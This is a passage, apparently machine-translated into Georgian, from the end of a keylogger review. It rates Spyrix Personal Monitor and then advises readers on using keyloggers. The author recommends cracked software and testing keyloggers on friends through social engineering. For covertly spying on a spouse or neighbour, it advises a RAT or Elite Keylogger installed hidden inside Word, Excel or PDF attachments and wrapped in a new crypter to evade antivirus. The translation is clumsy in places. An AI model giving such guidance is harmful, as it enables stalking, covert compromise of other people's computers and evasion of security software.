ფუნქციონირება წინა კანდიდატის დონეზეა, მაგრამ იგივე პრობლემებია საიდუმლოებასთან. გარდა ამისა, ფუნქციონალში შედის საინტერესო რამ: ფაილების კოპირება კომპიუტერში ჩასმული USB დისკებიდან, ასევე ჟურნალების დისტანციური ნახვა ვებ ანგარიშის საშუალებით Spyrix ვებსაიტზე (მაგრამ ჩვენ ვაპირებთ ჩამოტვირთვას გატეხილი ვერსია, ასე რომ არ მოხდება. იმუშავე ჩვენთვის).

5. Spyrix პერსონალური მონიტორი.

რეიტინგი (10-დან):

  • სტელსი: 3
  • მოხერხებულობა/გამოყენება: 6
  • ფუნქციონალობა: 8

დეტალურად არ აღვწერ, რადგან... ამ მაგალითს არ აქვს ისეთი რამ, რაც ერთ-ერთ წინა ჯაშუშს არ ჰქონია, თუმცა შეიძლება ვინმეს მოეწონოს ეს keylogger (ყოველ შემთხვევაში მისი ინტერფეისისთვის).

რითი დავამთავროთ?

Keylogger-ის გამოყენების საკითხი უფრო ეთიკურია, ვიდრე ტექნიკური და ეს დიდად არის დამოკიდებული თქვენს მიზნებზე.

თუ თქვენ ხართ დამსაქმებელი, რომელსაც სურს აკონტროლოს თავისი თანამშრომლები, მოგერიდებათ შექმნათ StaffCop, შეაგროვეთ წერილობითი ნებართვა ყველა თანამშრომლისგან ასეთი ქმედებებისთვის (თორემ შეიძლება სერიოზულად დაგეკისროთ ასეთი რამ) და სამუშაო ჩანთაშია. მიუხედავად იმისა, რომ მე პირადად ვიცი ჩემი თანამშრომლების მუშაობის გაზრდის უფრო ეფექტური გზები.

თუ თქვენ ხართ დამწყები IT სპეციალისტი, რომელსაც უბრალოდ სურს განიცადოს, თუ როგორია ვინმეს გატეხვა - და როგორ მუშაობს ეს ყველაფერი ზოგადად, მაშინ შეიარაღდით სოციალური ინჟინერიის მეთოდებით და ჩაატარეთ ტესტები თქვენს მეგობრებზე, ნებისმიერი მოცემული მაგალითის გამოყენებით. თუმცა დაიმახსოვრეთ: მსხვერპლთა მიერ ასეთი აქტივობის გამოვლენა არ უწყობს ხელს მეგობრობას და დღეგრძელობას. ;) და თქვენ ნამდვილად არ უნდა შეამოწმოთ ეს თქვენს სამსახურში. მონიშნე ჩემი სიტყვები: მე მაქვს ამის გამოცდილება. ;)

თუ თქვენი მიზანია თქვენი მეგობრის, ქმრის, მეზობლის თვალთვალი, ან შესაძლოა ამას რეგულარულად და ფულის გამო აკეთებთ, კარგად დაფიქრდით, ღირს თუ არა. ყოველივე ამის შემდეგ, ადრე თუ გვიან ისინი შეიძლება მიიზიდონ. და ეს არ ღირს: "სხვისი ჭუჭყიანი სარეცხის დათვალიერება სასიამოვნო სიამოვნება არ არის". თუ ჯერ კიდევ გჭირდებათ (ან იქნებ თქვენ მუშაობთ კომპიუტერული დანაშაულების გამოძიების სფეროში და ასეთი ამოცანები თქვენი პროფესიული პასუხისმგებლობის ნაწილია), მაშინ მხოლოდ ორი ვარიანტია: ვირთხა! და Elite Keylogger. დამალული ინსტალაციის განაწილების რეჟიმში, გაერთიანებულია word / excel / pdf. და უკეთესია, თუ ეს შესაძლებელია, დაშიფრული ახალი კრიპტორით. მხოლოდ ამ შემთხვევაში შეგვიძლია გარანტირებული იყოს უფრო უსაფრთხო საქმიანობა და რეალური წარმატება.

მაგრამ ნებისმიერ შემთხვევაში, უნდა გვახსოვდეს, რომ keylogger-ების კომპეტენტური გამოყენება მხოლოდ ერთი მცირე ბმულია მიზნის მისაღწევად (მათ შორის, თუნდაც უბრალო შეტევა). თქვენ ყოველთვის არ გაქვთ ადმინისტრატორის უფლებები, ყოველთვის არ გაქვთ ფიზიკური წვდომა და ყველა მომხმარებელი არ გახსნის, წაიკითხავს და მით უმეტეს, ჩამოტვირთავს თქვენს დანართებს/ბმულებს (გამარჯობა სოციალური ინჟინერია), ანტივირუსი ყოველთვის არ იქნება გამორთული /თქვენი keylogger/კრიპტორი მათთვის ყოველთვის უცნობი არ იქნება. ყველა ამ და ბევრი უთქმელი პრობლემის გადაჭრა შესაძლებელია, მაგრამ მათი გადაწყვეტა ცალკეული სტატიების მთელი სერიის თემაა.

მოკლედ, თქვენ ახლახან დაიწყეთ ინფორმაციული უსაფრთხოების რთულ, საშიშ, მაგრამ წარმოუდგენლად საინტერესო სამყაროში ჩაძირვა. :)

პატივისცემით,ლისიაკი ა.ს.

თემის გაგრძელება:
ოფისი

როდესაც ყიდულობთ ახალ სმარტფონს, თქვენ ალბათ მოგინდებათ თქვენი კონტაქტების, მონაცემებისა და აპლიკაციების ძველი მოწყობილობიდან მასზე გადატანა. თქვენ ასევე შეგიძლიათ დააკოპიროთ ...

ახალი სტატიები
/
პოპულარული